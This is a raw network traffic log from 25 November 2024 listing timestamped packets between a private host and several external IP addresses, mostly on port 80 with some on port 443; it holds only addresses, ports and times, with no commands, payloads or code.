Nov 25, 2024 18:28:42.941524029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.942102909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.942118883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.942184925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.942184925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.942222118 CET	443	49821	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:42.942723989 CET	443	49821	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:42.942780972 CET	49821	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:42.942969084 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.943056107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.943075895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.943099976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.943902016 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.943957090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.944134951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.944181919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.947469950 CET	49821	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:42.947489023 CET	443	49821	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:42.971328020 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.972590923 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.973457098 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.973469019 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.974545002 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.974643946 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.975001097 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.975063086 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.975549936 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.975557089 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.978235960 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.978245974 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.980586052 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.981000900 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.981012106 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.981607914 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.981837034 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.981844902 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.982187986 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.984707117 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.984769106 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.985003948 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.985074997 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.985388041 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.985455990 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.985565901 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.985614061 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.992746115 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:42.994317055 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:42.994330883 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:42.995376110 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:42.995381117 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:43.001977921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.002007008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.002130985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.002628088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.002718925 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.002789021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.003806114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.003875971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.004231930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.004399061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.004698992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.004740953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.004842997 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.005033970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.005470991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.005517960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.006670952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.006738901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.006887913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.006901026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.006967068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.006967068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.007545948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.007559061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.007601023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.008212090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.008232117 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.008275032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.008860111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.008914948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.009279013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.009334087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.009696960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.009742975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.009752035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.010006905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.010674000 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.010763884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.010796070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.010909081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.011585951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.011662006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.011718035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.011881113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.012520075 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.012718916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.012734890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.012784004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.013223886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.013432026 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.024746895 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.024779081 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.031337023 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.031347990 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.035087109 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.036659002 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.036669970 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.037038088 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.037645102 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.037725925 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.037890911 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.040225983 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.040235996 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.073756933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.073873997 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.073900938 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.073947906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.074139118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.074223995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.074328899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.074639082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.075090885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.075203896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.075484991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.075594902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.076102972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.076167107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.076210976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.076534986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.077107906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.077168941 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.077245951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.077347040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.077888012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.077902079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.077949047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.077965975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.078680992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.078732014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.078741074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.078773975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.079335928 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.079564095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.079691887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.079955101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.079992056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.080667019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.080777884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.080826998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.081387997 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.081435919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.081480980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.081624031 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.082345009 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.082392931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.082463026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.082705021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.083199978 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.083242893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.083812952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.083864927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.084091902 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.084281921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.084331989 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.085000038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.085069895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.085719109 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.085766077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.085938931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.086013079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.086041927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.086069107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.086698055 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.086698055 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.086854935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.086896896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.087434053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.087483883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.087774992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.087790012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.087827921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.087848902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.088689089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.088701963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.088752031 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.089495897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.089548111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.090312958 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.090358973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.090518951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.090532064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.090583086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.091550112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.091614008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.091888905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.091933012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.092600107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.092642069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.092745066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.092787981 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.093401909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.093502045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.093525887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.093539953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.094305992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.094320059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.094357014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.094387054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.095114946 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.095176935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.095911980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.095935106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.095947981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.095968962 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.096002102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.096771002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.096822023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.096878052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.097064972 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.097677946 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.097790956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.097842932 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.098553896 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.098661900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.099018097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.099113941 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.099463940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.099522114 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.099741936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.099788904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.100378990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.100440979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.100511074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.100550890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.101387978 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.101576090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.101633072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.102185965 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.102240086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.102248907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.102332115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.103064060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.103130102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.126281023 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.126758099 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.126768112 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.128134012 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.128227949 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.129004955 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.129082918 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.129374027 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.129380941 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:43.140939951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.140994072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.141231060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.141307116 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.141464949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.142106056 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.142117977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.142167091 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.143054962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.143188953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.143896103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.143955946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.144593000 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.144821882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.144932985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.144933939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.145124912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.145706892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.145750999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.145848036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.145890951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.146554947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.146609068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.179478884 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:43.203238964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.203330994 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.203442097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.203699112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.203800917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.203875065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.203936100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.204605103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.204658031 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.204673052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.204745054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.206098080 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.206317902 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.206372976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.206475019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.206492901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.206537008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.207310915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.207370996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.207614899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.207760096 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.208239079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.208393097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.208444118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.209125042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.209180117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.209196091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.209270000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.210016012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.210169077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.210218906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.210949898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.210963011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.211002111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.211841106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.211899996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.212158918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.212233067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.212724924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.212852001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.212918043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.213778019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.213839054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.213942051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.214112043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.214514971 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.214579105 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.274841070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.274900913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.274924994 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.274971008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.275125027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.275171995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.275224924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.275274038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.276068926 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.276141882 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.276386976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.276431084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.276897907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.276947021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.277014017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:43.277057886 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:43.277839899 CET	80	49761	185.215.113.206	192.168.2.5
